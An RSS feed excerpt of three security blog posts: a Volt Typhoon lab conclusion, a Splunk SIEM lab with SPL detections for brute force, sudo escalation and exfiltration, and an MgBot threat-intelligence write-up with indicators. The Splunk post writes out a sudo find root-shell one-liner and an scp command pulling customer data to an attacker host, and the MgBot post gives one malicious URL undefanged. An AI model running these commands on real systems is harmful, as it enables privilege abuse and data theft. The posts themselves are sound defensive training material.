can only detect activity that has actually been logged and forwarded to Splunk.</p><p>For example, detecting file creation reliably may require Sysmon or another endpoint telemetry source. Detecting network connections requires network or endpoint connection telemetry. Detecting PowerShell commands may require appropriate PowerShell logging.</p><p>A SIEM cannot recover events that were never collected.</p><p>This is why log-source coverage and retention are as important as the quality of the detection query itself.</p><h3>13. Lessons Learned</h3><p>This investigation reinforced several practical lessons about modern intrusion detection.</p><h3>1. Legitimate tools can produce malicious outcomes</h3><p>WMIC, PowerShell, Netsh, Certutil, and Wevtutil are legitimate utilities.</p><p>Their presence alone does not indicate compromise. Detection must focus on how they are used, who executed them, and whether the activity matches expected administrative behavior.</p><h3>2. Identity compromise can become the foundation for the entire attack</h3><p>The compromise of Dean’s account was not an isolated event.</p><p>It provided the attacker with a legitimate identity that could blend into normal administrative activity. The creation of another account further complicated the identity picture.</p><h3>3. Attack reconstruction requires correlation</h3><p>The most useful findings came from connecting identity events, command execution, file operations, and system activity rather than examining each event independently.</p><h3>4. File extensions are not reliable indicators of file content</h3><p>Renaming an archive to .gif does not change its underlying format.</p><p>File-type validation and behavioral monitoring are more reliable than trusting filenames.</p><h3>5. Logging is part of the security boundary</h3><p>If an attacker can clear logs without leaving a centralized record, incident reconstruction becomes significantly harder.</p><p>Centralized logging, restricted access to logging infrastructure, and appropriate retention policies are essential.</p><h3>6. Detection engineering should prioritize behavior over static indicators</h3><p>A detection rule that looks only for mimikatz.exe may miss encoded execution, renamed files, or built-in administrative utilities.</p><p>Behavioral analytics and event correlation provide better coverage.</p><h3>14. Conclusion</h3><p>The Volt Typhoon lab investigation demonstrates how a sequence of seemingly ordinary administrative operations can form a sophisticated intrusion chain.</p><p>Starting with a compromised account, the attacker established an additional administrative identity, explored the environment, accessed Active Directory data, deployed a web shell, investigated remote-access software, used Mimikatz, moved the web shell to another server, staged financial data, configured a port proxy, and finally attempted to remove evidence.</p><p>The most challenging part was not identifying a single malicious executable.</p><p>It was recognizing the relationship between legitimate tools, suspicious command-line arguments, account behavior, file operations, and the timing of events.</p><p>For a SOC analyst, this is the real value of log investigation: transforming isolated telemetry into a defensible incident narrative.</p><p><strong>The tool may be legitimate. The behavior may not be.</strong></p><h3>References and Further Reading</h3><p><strong>1. TryHackMe — Volt Typhoon</strong></p><p>The practical lab used for this investigation.<br><a href="https://tryhackme.com/room/volttyphoon">https://tryhackme.com/room/volttyphoon</a></p><p><strong>2. Microsoft Security — Volt Typhoon Targets US Critical Infrastructure with Living-off-the-Land Techniques</strong></p><p>Background on the group’s documented tradecraft and use of legitimate administrative tools.<br><a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/">https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/</a></p><p><strong>3. CISA, NSA, FBI — PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure (AA24–038A)</strong></p><p>Joint cybersecurity advisory discussing Volt Typhoon activity, detection, and mitigation.<br><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a</a></p><p><strong>4. CISA — Identifying and Mitigating Living Off the Land Techniques</strong></p><p>Defensive guidance for identifying and mitigating LOTL activity.<br><a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-lotl-techniques">https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-lotl-techniques</a></p><p><strong>5. MITRE ATT&amp;CK — Volt Typhoon (G1017)</strong></p><p>Threat-group profile and associated adversary techniques.<br><a href="https://attack.mitre.org/groups/G1017/">https://attack.mitre.org/groups/G1017/</a></p><p><strong>6. MITRE ATT&amp;CK</strong></p><p>The knowledge base used to map adversary behavior to tactics and techniques.<br><a href="https://attack.mitre.org/">https://attack.mitre.org/</a></p><p><em>Disclaimer: This article documents a cybersecurity training exercise conducted in a controlled TryHackMe environment. Commands and techniques are discussed for defensive analysis, threat hunting, and security education. Lab-specific findings should not be treated as independent confirmation of real-world attribution.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e5f67f69a47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside Splunk SIEM: Building Detections, Investigating Attacks, and Exposing Visibility Gaps]]></title>
            <link>https://medium.com/@it.baraa.mohamed/inside-splunk-siem-building-detections-investigating-attacks-and-exposing-visibility-gaps-cd2294da66e2?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd2294da66e2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Sat, 17 Oct 2026 19:21:22 GMT</pubDate>
            <atom:updated>2026-10-17T19:21:22.891Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>A hands-on SOC lab exploring SSH brute force, privilege escalation, SPL detection engineering, and simulated data exfiltration.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3umTuWbobExUZIS0GsygIQ.png" /></figure><p>Three attack stages. A centralized SIEM. One critical question: how much can your logs actually tell you?</p><p>A security alert may indicate suspicious activity, but it does not automatically explain what happened, how far an attacker progressed, or whether sensitive information was successfully transferred.</p><p>For a SOC analyst, the challenge is not simply detecting unusual events. It is transforming raw telemetry into actionable detections, investigating the evidence behind each alert, and recognizing when the available data is insufficient to support a conclusion.</p><p>In this lab, I built an isolated environment using Kali Linux, Ubuntu Server, and Splunk Enterprise to investigate three attack scenarios:</p><ul><li>SSH brute force to simulate initial access.</li><li>Privilege escalation through a misconfigured sudo permission.</li><li>Simulated data exfiltration over SSH using SCP.</li></ul><p>I configured log forwarding, developed SPL searches, tested alert behavior, and examined the limitations of authentication-based monitoring.</p><p>The most interesting finding emerged during the final scenario: the simulated file transfer succeeded, but the available authentication logs did not directly establish which file had been transferred.</p><p>This investigation explores both sides of detection engineering: <strong>building detections that identify suspicious activity and understanding what those detections cannot prove.</strong></p><h3>The Lab Environment</h3><p>Before simulating the attacks, I established an isolated virtual network to separate the attacker, target, and SIEM.</p><p>The environment consisted of three virtual machines connected through VMware VMnet2 in Host-only mode.</p><ul><li><strong>Kali Linux — Attacker:</strong> 192.168.50.130</li><li><strong>Ubuntu Server 24.04 LTS — Target:</strong> 192.168.50.129</li><li><strong>Ubuntu Server 24.04 LTS — Splunk SIEM:</strong> 192.168.50.131</li></ul><p>All three machines operated within the 192.168.50.0/24 subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*8CLVDCkV3Da6g7F31x3sBw.png" /><figcaption><strong>[VMnet2 Host-only network configuration showing the isolated lab subnet]</strong></figcaption></figure><p>This architecture separated attack generation, security-event collection, and centralized investigation. The target generated the authentication telemetry, while Splunk provided the platform for searching and analyzing those events.</p><p>With the environment established, the next step was to verify that the SIEM could receive the evidence required for detection.</p><h3>Building the Splunk Telemetry Pipeline</h3><p>A detection rule is only as reliable as the telemetry supporting it.</p><p>I configured the Splunk Universal Forwarder on the Ubuntu target to monitor:</p><p>/var/log/auth.log</p><p>The forwarder sent the events to Splunk Enterprise over TCP port 9997.</p><p>The events were indexed in main with the sourcetype linux_secure.</p><p>To validate ingestion, I ran the following SPL search:</p><pre>index=main sourcetype=linux_secure</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agy0-VcaSDOLwScicMPfFg.png" /><figcaption><strong>[Splunk search results showing 126 events received from the target host]</strong></figcaption></figure><p>The search returned 126 events, confirming that authentication telemetry was reaching Splunk at that point in the lab.</p><p>This initial validation was essential. Before troubleshooting a detection, an analyst should confirm that the relevant events are being collected, forwarded, parsed, and indexed correctly.</p><p>With the telemetry pipeline operational, I began testing the detection use cases.</p><h3>Detecting SSH Brute Force with SPL</h3><p>The first scenario simulated password guessing against the target’s SSH service.</p><p>From Kali Linux, I used Hydra with a wordlist containing 155 common passwords. According to the lab results, the correct password was discovered after 149 failed attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R7sA4pxJxHeo5OiIeZI6bQ.png" /><figcaption><strong>[Hydra output showing successful password discovery after repeated failed authentication attempts]</strong></figcaption></figure><p>From a SOC perspective, the primary signal was the concentration of failed authentication events associated with a single source IP address.</p><p>A single failed login may be normal. Repeated failures within a short period, particularly when followed by a successful authentication, provide a stronger reason to investigate.</p><h3>Engineering the detection</h3><p>I developed the following SPL query to extract the source IP address and count failed-password events:</p><pre>index=main sourcetype=linux_secure host=target &quot;Failed password&quot;<br>| rex field=_raw &quot;from (?&lt;src_ip&gt;\d+\.\d+\.\d+\.\d+)&quot;<br>| stats count as failed_attempts by src_ip<br>| where failed_attempts &gt; 10</pre><p>The search filters authentication events, extracts the source address using a regular expression, aggregates the matching events by source, and returns addresses exceeding ten failures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P61epqaoavkI9Jz94vypLA.png" /><figcaption><strong>[Splunk identifies 176 failed-password events associated with 192.168.50.130 within the reported two-minute window]</strong></figcaption></figure><p>The search identified 176 matching events associated with the attacker IP, 192.168.50.130.</p><p>The difference between Hydra’s reported 149 failed attempts and Splunk’s 176 events is worth investigating. These figures represent different measurements and may be affected by retries, event-generation behavior, or search-window boundaries. A production investigation would reconcile the timestamps and individual events before treating the counts as equivalent.</p><h3>Configuring the alert</h3><p>I configured a real-time alert named SSH Brute Force Detected.</p><p>The recorded configuration included a trigger condition based on matching results and a ten-minute throttle per source IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AR8bAt2hMWhB2jvRueEvTw.png" /><figcaption><strong>[SSH Brute Force Detected alert configuration and observed firing behavior]</strong></figcaption></figure><p>The throttle was intended to reduce repeated notifications from the same source during the configured interval.</p><p>This is an important operational consideration: a detection should generate useful investigative signals without flooding analysts with unnecessary duplicate notifications.</p><p><strong>Finding:</strong> The lab identified concentrated SSH authentication failures and triggered the configured alert.</p><p><strong>Detection limitation:</strong> A threshold-based search is a starting point rather than a complete brute-force detection strategy. Production deployment would require validating the search window, successful-login correlation, source distribution, and expected benign authentication patterns.</p><p>The first scenario demonstrated how raw authentication events can become actionable security alerts. The next scenario examined what happens when an attacker obtains elevated privileges.</p><h3>Investigating Privilege Escalation Through Sudo Misconfiguration</h3><p>After obtaining SSH access through the regular ubuntu account, I exploited a deliberately misconfigured sudo permission that allowed the find utility to execute as root without a password.</p><p>The command used in the lab was:</p><pre>sudo find . -exec /bin/bash \; -quit</pre><p>The weakness was not an inherent vulnerability in find. It was the excessive privilege granted to a utility capable of launching another process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*CJQGJgpjhf780fqSnM9TKg.png" /><figcaption><strong>[Terminal evidence showing the transition from the ubuntu user shell to a root shell]</strong></figcaption></figure><p>The resulting root shell confirmed that the simulated privilege escalation succeeded.</p><p>For a SOC analyst, the investigation now shifts from authentication alone to privileged execution: which command ran, which account initiated it, and whether the resulting privileges were authorized.</p><h3>Detecting suspicious privileged commands</h3><p>I used the following SPL search to inspect sudo events associated with root execution:</p><pre>index=main sourcetype=linux_secure host=target &quot;sudo:&quot; &quot;USER=root&quot;<br>| rex field=_raw &quot;COMMAND=(?&lt;command&gt;.+)&quot;<br>| where match(command, &quot;(find|vim|vi|less|python|perl|nmap|cp|mv)\s&quot;)</pre><p>The query extracts the command recorded in the raw event and filters for selected utilities that may warrant additional investigation when executed with elevated privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aMm8j2eBBPc_XcRkSbY-UQ.png" /><figcaption><strong>[Extracted sudo event showing root-level execution of find . -exec /bin/bash]</strong></figcaption></figure><p>I then tested the alert named Privilege Escalation via Sudo Misconfiguration during repeat exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEzyXQ4T8sybzSonzNBv_Q.png" /><figcaption><strong>[Privilege Escalation via Sudo Misconfiguration alert triggering during repeat testing]</strong></figcaption></figure><h3>Interpreting the evidence</h3><p>The lab captured the suspicious find execution in the root-execution context and demonstrated that the configured alert could identify the tested behavior.</p><p>However, command-name matching does not automatically establish malicious intent. Administrators may legitimately use find, python, and other utilities in privileged workflows.</p><p>The query also depends on the actual format of the sudo events. Before production use, it would need validation against representative logs, command-line variations, and the host’s sudo policy.</p><p>A more mature detection could correlate sudo execution with endpoint process telemetry, parent-child process relationships, and changes to privileged accounts or security configurations.</p><p><strong>Finding:</strong> The lab detected the tested root-privileged command associated with the deliberate sudo misconfiguration.</p><p><strong>Detection limitation:</strong> The rule covers selected command patterns. It does not identify every possible privilege-escalation technique or establish malicious intent by itself.</p><p>With initial access and privileged execution demonstrated, I moved to the final scenario: investigating a simulated transfer of sensitive data.</p><h3>Investigating Simulated Data Exfiltration</h3><p>The final scenario involved transferring a simulated sensitive-data file from the Ubuntu target to the Kali machine using SCP over SSH.</p><p>The command used was:</p><pre>scp ubuntu@192.168.50.129:/home/ubuntu/customer_data.csv /home/kali/stolen_data.csv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*8oCMercd6jIvldUXmFvvSA.png" /><figcaption><strong>[SCP transfer completing successfully, with a reported file size of 315 bytes]</strong></figcaption></figure><p>The file represented customer or credit-card data for demonstration purposes. It was a simulated lab artifact, not evidence of an actual customer-data compromise.</p><p>The successful transfer demonstrated that the file reached the attacker-controlled machine. The remaining question was whether the monitored authentication logs could independently identify the file-transfer operation.</p><h3>The telemetry gap</h3><p>The monitored /var/log/auth.log events did not expose the transferred filename or directly identify the SCP file-transfer operation in the events used for this investigation.</p><p>Instead, the available telemetry provided authentication and session-related activity.</p><p>This distinction matters because different observations support different conclusions:</p><ul><li>A successful SSH authentication establishes that authentication succeeded.</li><li>A short-lived session establishes a brief observed session, provided the relevant events support that interpretation.</li><li>Neither observation alone establishes that a particular file was transferred.</li></ul><p><strong>Authentication telemetry is not equivalent to file-transfer telemetry.</strong></p><p>Rather than treating the absence of a direct file-transfer event as proof that no transfer occurred, I explored whether short-lived SSH sessions could provide a behavioral signal for further investigation.</p><h3>Testing a behavioral detection</h3><p>I developed the following SPL search to correlate SSH authentication and session-close events:</p><pre>index=main sourcetype=linux_secure host=target<br>(&quot;Accepted password&quot; OR &quot;session closed&quot;)<br>| rex field=_raw &quot;sshd\[(?&lt;session_pid&gt;\d+)\]&quot;<br>| transaction session_pid maxspan=15s<br>| where duration &lt; 3 AND eventcount=2</pre><p>The search attempts to identify sessions lasting less than three seconds that contain two correlated events within a maximum transaction span of 15 seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J1tQZwuzdR4zuHIEBdxmLQ.png" /><figcaption><strong>[Splunk results showing short-lived SSH session activity, including the reported 1.19-second session]</strong></figcaption></figure><p>The search identified short-lived SSH session activity, including a session reported as lasting 1.19 seconds.</p><p>I configured a scheduled alert named Suspicious Short-Lived SSH Session, running every five minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQ6pONrumeviPg0gShk3LQ.png" /><figcaption><strong>[Suspicious Short-Lived SSH Session scheduled alert and observed firing behavior]</strong></figcaption></figure><h3>What the Investigation Revealed</h3><p>The three scenarios demonstrated different aspects of Splunk-based detection engineering.</p><p><strong>SSH brute force:</strong> Repeated failed-password events provided a measurable signal that could be transformed into a threshold-based alert.</p><p><strong>Privilege escalation:</strong> Sudo telemetry exposed the tested root-privileged command associated with a deliberately insecure permission.</p><p><strong>Simulated data exfiltration:</strong> Short-lived SSH session behavior generated an investigative lead, but the available authentication events did not directly establish which file had been transferred.</p><p>These results describe the tested lab scenarios. They do not establish universal detection coverage or demonstrate that the same rules would identify every variant of these techniques in production.</p><p>Broader validation would require additional attack patterns, benign test cases, event-format variations, and systematic evaluation of false positives and false negatives.</p><h3><strong>Lessons for SOC Analysts</strong></h3><p><strong>1.Telemetry validation comes first</strong></p><blockquote>The forwarding pipeline had to be verified before the detection rules could be evaluated. Missing events, incorrect sourcetypes, or inconsistent field extraction can undermine an otherwise well-designed query.</blockquote><p><strong>2.Alert quality matters as much as detection logic</strong></p><blockquote>Thresholds and throttling affect how useful an alert is in a real SOC workflow. The goal is to provide meaningful investigative signals without unnecessary duplication.</blockquote><p><strong>3.Configuration weaknesses can enable privilege escalation</strong></p><blockquote>The sudo scenario demonstrated how excessive permissions can turn a legitimate system utility into a path toward root access. Reviewing sudoers policies and monitoring privileged execution are complementary defensive measures.</blockquote><p><strong>4.Log visibility defines investigative limits</strong></p><blockquote>Authentication logs may reveal connection-related activity without identifying files transferred over an encrypted connection. Additional endpoint, file-access, or network telemetry may be necessary to establish what happened.</blockquote><p><strong>5.Alerts require corroboration</strong></p><blockquote>A rule identifies activity matching a defined condition. Determining whether that activity is malicious requires context, supporting evidence, and validation of the assumptions behind the detection.</blockquote><h3>Defensive Recommendations</h3><p>Based on the scenarios explored in this lab, several improvements would strengthen a comparable monitoring environment.</p><ul><li><strong>Harden SSH access:</strong> Use appropriate strong authentication, restrict access to authorized users and network sources, and consider MFA where supported.</li><li><strong>Apply least privilege:</strong> Audit sudoers entries and remove unnecessary permissions that allow powerful utilities to execute with elevated privileges.</li><li><strong>Expand endpoint visibility:</strong> Collect suitable process-creation and command-line telemetry to reconstruct activity beyond authentication events.</li><li><strong>Improve file-transfer monitoring:</strong> Combine endpoint evidence, file-access auditing, network flow analysis, and DLP controls where appropriate.</li><li><strong>Validate detections continuously:</strong> Test expected matches, benign cases, command variations, and telemetry changes before relying on a rule operationally.</li><li><strong>Document detection limitations:</strong> Record the assumptions, known blind spots, confidence level, and additional evidence required to confirm an alert.</li></ul><p>These measures work together. No single log source or detection rule can provide complete visibility into every stage of an attack.</p><h3>Conclusion</h3><p>This lab started with a straightforward objective: build a Splunk-based detection pipeline and use it to investigate three simulated attack stages.</p><p>The brute-force scenario demonstrated how repeated authentication failures could be transformed into an actionable alert. The privilege-escalation scenario showed how monitoring privileged command execution could expose behavior associated with an insecure sudo configuration.</p><p>The final scenario presented a more difficult challenge. The simulated file transfer succeeded, but the authentication-log search did not directly establish which file had moved. Instead, it identified short-lived SSH session behavior that required further investigation.</p><p>That limitation was an important part of the result.</p><p>Effective SOC work is not simply about making detections trigger. It is about understanding the evidence behind each alert, validating the logic against real event structures, and identifying the additional telemetry needed to support a defensible conclusion.</p><p><strong>A SIEM alert can tell you where to look. Evidence determines what you can conclude.</strong></p><p><em>Lab environment: Kali Linux, Ubuntu Server 24.04 LTS, Splunk Enterprise, Splunk Universal Forwarder, Hydra, and SCP.</em></p><p><em>Scope: Authorized simulation within an isolated VMware Host-only network. The results describe the tested scenarios and do not establish universal detection coverage.</em></p><h3>References</h3><ul><li><a href="https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/WhatsInThisManual">Splunk Search Reference</a> — SPL search syntax and commands.</li><li><a href="https://docs.splunk.com/Documentation/ES">Splunk Enterprise Security Documentation</a> — Security monitoring and investigation workflows.</li><li><a href="https://gtfobins.github.io/">GTFOBins</a> — Unix binaries and potentially dangerous privilege configurations.</li><li><a href="https://attack.mitre.org/techniques/T1110/">MITRE ATT&amp;CK: Brute Force (T1110)</a> — Password guessing and related attack techniques.</li><li><a href="https://attack.mitre.org/techniques/T1548/">MITRE ATT&amp;CK: Abuse Elevation Control Mechanism (T1548)</a> — Techniques involving abuse of elevation mechanisms.</li><li><a href="https://attack.mitre.org/techniques/T1048/">MITRE ATT&amp;CK: Exfiltration Over Alternative Protocol (T1048)</a> — Exfiltration using alternative protocols.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd2294da66e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Friday Overtime: Hunting MgBot Through Hashes, Plugins, and Infrastructure]]></title>
            <link>https://medium.com/@it.baraa.mohamed/friday-overtime-hunting-mgbot-through-hashes-plugins-and-infrastructure-2c611243596d?source=rss-f11525fd6cb9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c611243596d</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Baraa Mohamed]]></dc:creator>
            <pubDate>Tue, 06 Oct 2026 14:55:51 GMT</pubDate>
            <atom:updated>2026-10-06T14:55:51.546Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pBvQ9Jlb14907euQTpUvIA.png" /></figure><blockquote>A Threat Intelligence investigation into Evasive Panda, MgBot, and a trail that led from a suspicious DLL to reused C2 infrastructure.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yIlUl2xA-coiCAF7PlDzmg.png" /></figure><p>Friday evening.</p><p>Most people were already thinking about the weekend.</p><p>I was thinking about a malware ticket.</p><p>SwiftSpend Finance had reported suspicious activity across more than 9,000 systems. The initial assessment suggested a possible RAT, with concerns about data theft and potential ransomware deployment.</p><p>The ticket contained a password-protected archive containing several malware samples.</p><p>This looked like a typical malware-analysis task.</p><p>It wasn’t.</p><p>The interesting part was not identifying a malicious DLL.</p><p>It was following the trail that the DLL left behind.</p><h3>1. Starting With the Evidence</h3><p>The investigation started with a ticket from SwiftSpend Finance.</p><p>The samples were provided in:</p><pre>samples.zip</pre><p>After extracting the archive, five DLLs were identified:</p><pre>cbmrpa.dll<br>maillfpassword.dll<br>pRsm.dll<br>qmsdp.dll<br>wcdbcrk.dll</pre><p>At this point, the filenames alone were not enough to confidently identify the malware.</p><p>So instead of guessing from names, I chose one of the files and calculated its SHA1 hash.</p><p>For pRsm.dll:</p><pre>9d1ecbbe8637fed0d89fca1af35ea821277ad2e8</pre><p>That hash became the first useful pivot.</p><h3>2. From a DLL to MgBot</h3><p>Searching the hash through malware intelligence sources revealed something much more interesting than a generic detection.</p><p>pRsm.dll was identified as an <strong>MgBot plugin</strong>.</p><p>MgBot is a modular backdoor associated with the threat actor known as <strong>Evasive Panda</strong>.</p><p>ESET’s research documented MgBot as a custom backdoor and described a toolkit of plugins used to extend its capabilities. The research also notes that the plugin DLL names remained consistent across the observed samples.</p><p>This changed the investigation completely.</p><p>The files were no longer just:</p><blockquote><em>“Five suspicious DLLs.”</em></blockquote><p>They were components of a larger modular malware framework.</p><h3>3. Understanding the Plugin Architecture</h3><p>One of the most useful concepts in this investigation was understanding what a <strong>modular malware</strong> actually means.</p><p>Instead of putting every capability inside the main backdoor, MgBot can extend its functionality through separate DLL plugins.</p><p>Conceptually:</p><pre>MgBot<br>                 Main Backdoor<br>                      |<br>          +-----------+-----------+<br>          |           |           |<br>       Plugin      Plugin      Plugin<br>          |           |           |<br>       Function    Function    Function</pre><p>The plugins found in ESET’s research perform different tasks.</p><p>For example:</p><ul><li>cbmrpa.dll — clipboard text capture</li><li>maillfpassword.dll — credential theft from Outlook and Foxmail</li><li>qmsdp.dll — theft of Tencent QQ database information</li><li>wcdbcrk.dll — Tencent WeChat information stealing</li><li>pRsm.dll — audio capture</li></ul><p>The pRsm.dll SHA1 from the investigation also appears in ESET&#39;s IOC list as an MgBot audio-capture plugin.</p><p>This is why identifying a single DLL can reveal the capabilities of an entire malware framework.</p><h3>4. pRsm.dll and MITRE ATT&amp;CK</h3><p>The next question was:</p><p><strong>What does </strong><strong>pRsm.dll actually do?</strong></p><p>The answer is important from a defensive perspective.</p><p>The plugin captures <strong>input and output audio streams</strong>.</p><p>That behavior maps to:</p><pre>T1123 — Audio Capture</pre><p>This is a <strong>Collection</strong> technique in MITRE ATT&amp;CK.</p><p>So the investigation can now be represented as:</p><pre>pRsm.dll<br>    ↓<br>Audio Capture<br>    ↓<br>Collection<br>    ↓<br>MITRE ATT&amp;CK T1123</pre><p>This is where malware analysis becomes threat intelligence.</p><p>We are no longer just identifying a file.</p><p>We are describing what the adversary can accomplish with that file.</p><h3>5. The Delivery Mechanism</h3><p>The next step was moving from the malware itself to its infrastructure.</p><p>ESET’s research into Evasive Panda uncovered a campaign in which MgBot was delivered through software-update mechanisms involving popular Chinese applications.</p><p>One of the malicious download locations was:</p><pre>http://update.browser.qq[.]com/qmbs/QQ/QQUrlMgr_QQ88_4296.exe</pre><p>The URL was first seen on:</p><pre>2020-11-02</pre><p>For safe reporting, the URL can be defanged as:</p><pre>hxxp[://]update[.]browser[.]qq[.]com/qmbs/QQ/QQUrlMgr_QQ88_4296[.]exe</pre><p>There is an important lesson here.</p><p>The URL does not immediately look like a traditional malicious domain.</p><p>It resembles a legitimate update infrastructure.</p><p>That makes this type of delivery particularly interesting from a defensive perspective.</p><h3>6. Why Software Updates Matter</h3><p>Imagine a user receives a normal software update.</p><p>They expect the application to:</p><pre>Check for update<br>       ↓<br>Download update<br>       ↓<br>Install update</pre><p>But if the update mechanism has been compromised or manipulated, the same trusted process can become the delivery mechanism for malware.</p><p>ESET described two possible explanations for the observed activity:</p><ul><li>a supply-chain compromise</li><li>an adversary-in-the-middle attack</li></ul><p>The research attributed the campaign to Evasive Panda with high confidence.</p><p>This is a useful reminder for defenders:</p><p><strong>Trusting the application does not automatically mean trusting everything the application downloads.</strong></p><h3>7. Pivoting From the URL to C2</h3><p>A malicious download is only one part of the attack.</p><p>Once the malware is installed, it needs to communicate with attacker-controlled infrastructure.</p><p>One of the C2 addresses associated with MgBot was:</p><pre>122.10.90[.]12</pre><p>ESET’s IOC table records this server as an MgBot C&amp;C server, with a first-seen date of:</p><pre>2020-09-14</pre><p>The defanged IP becomes:</p><pre>122[.]10[.]90[.]12</pre><p>Now our investigation has moved from:</p><pre>File</pre><p>to:</p><pre>File → Malware → Infrastructure</pre><p>And this is where CTI gets interesting.</p><h3>8. Infrastructure Pivot</h3><p>At this point, I had an IP address.</p><p>Instead of stopping there, I treated the IP as a new pivot.</p><p>The question became:</p><blockquote><em>What else has communicated with this infrastructure?</em></blockquote><p>This is a common CTI investigation technique.</p><p>A useful mental model is:</p><pre>pRsm.dll<br>                 |<br>                Hash<br>                 |<br>               MgBot<br>                 |<br>        +--------+--------+<br>        |                 |<br>     Plugins              C2<br>                          |<br>                    122.10.90.12<br>                          |<br>                    Infrastructure<br>                          |<br>                    Related Samples</pre><p>The same infrastructure led to another interesting artifact: an Android sample associated with the <strong>SpyAgent</strong> family.</p><p>The MD5 associated with the sample required by the room was:</p><pre>951f41930489a8bfe963fced5d8dfd79</pre><p>The important lesson isn’t simply memorizing this hash.</p><p>The important lesson is <strong>how we got there</strong>.</p><p>We didn’t start by searching for SpyAgent.</p><p>We started with an IP.</p><h3>9. The Investigation as a Timeline</h3><p>Putting everything together gives us a much clearer picture.</p><h3>2020–09–14</h3><p>An MgBot C2 server was observed:</p><pre>122[.]10[.]90[.]12</pre><p>ESET lists it as an MgBot C&amp;C server.</p><h3>2020–11–02</h3><p>A malicious download location was first observed:</p><pre>hxxp[://]update[.]browser[.]qq[.]com/qmbs/QQ/QQUrlMgr_QQ88_4296[.]exe</pre><h3>2023–12–07 / 2023–12–08</h3><p>SwiftSpend Finance reported a major malware incident affecting more than 9,000 systems.</p><p>The submitted archive contained multiple DLLs.</p><p>Among them:</p><pre>pRsm.dll</pre><h3>Investigation</h3><p>The SHA1 of pRsm.dll was:</p><pre>9d1ecbbe8637fed0d89fca1af35ea821277ad2e8</pre><p>Threat intelligence linked the file to:</p><pre>MgBot</pre><p>and the plugin’s functionality to:</p><pre>Audio Capture</pre><p>which maps to:</p><pre>T1123</pre><h3>2025</h3><p>Pivoting through the reused infrastructure led to an Android sample associated with the SpyAgent family:</p><pre>951f41930489a8bfe963fced5d8dfd79</pre><h3>10. The Complete Attack Chain</h3><p>The easiest way to remember the investigation is not as a list of answers, but as a chain:</p><pre>SwiftSpend Finance<br>        |<br>        v<br>Malware Samples<br>        |<br>        v<br>pRsm.dll<br>        |<br>        v<br>SHA1<br>9d1ecbbe8637fed0d89fca1af35ea821277ad2e8<br>        |<br>        v<br>MgBot<br>        |<br>        v<br>Evasive Panda<br>        |<br>        +----------------------+<br>        |                      |<br>        v                      v<br>   MgBot Plugins            C2 Infrastructure<br>        |                      |<br>        v                      v<br>   pRsm.dll              122.10.90.12<br>        |                      |<br>        v                      v<br> Audio Capture          Related Samples<br>        |                      |<br>        v                      v<br>     T1123                SpyAgent<br>                               |<br>                               v<br>                   951f41930489a8bfe963fced5d8dfd79</pre><p>This is much more useful than simply memorizing the answers.</p><h3>11. What I Took From This Investigation</h3><p>The biggest lesson from <strong>Friday Overtime</strong> wasn’t a specific malware family.</p><p>It was the investigation methodology.</p><p>A single artifact can become the starting point for an entire intelligence chain.</p><pre>Artifact<br>   ↓<br>Hash<br>   ↓<br>Malware Family<br>   ↓<br>Threat Actor<br>   ↓<br>Capability<br>   ↓<br>MITRE ATT&amp;CK<br>   ↓<br>Infrastructure<br>   ↓<br>Related Malware</pre><p>In this case:</p><pre>pRsm.dll<br>   ↓<br>9d1ecbbe8637fed0d89fca1af35ea821277ad2e8<br>   ↓<br>MgBot<br>   ↓<br>Evasive Panda<br>   ↓<br>Audio Capture<br>   ↓<br>T1123<br>   ↓<br>122.10.90[.]12<br>   ↓<br>SpyAgent</pre><p>That is the part of malware analysis I find most interesting.</p><p><strong>The goal isn’t just to identify what a file is.</strong></p><p>The goal is to understand <strong>where it came from, what it can do, who may be behind it, what infrastructure it uses, and what other activity that infrastructure can 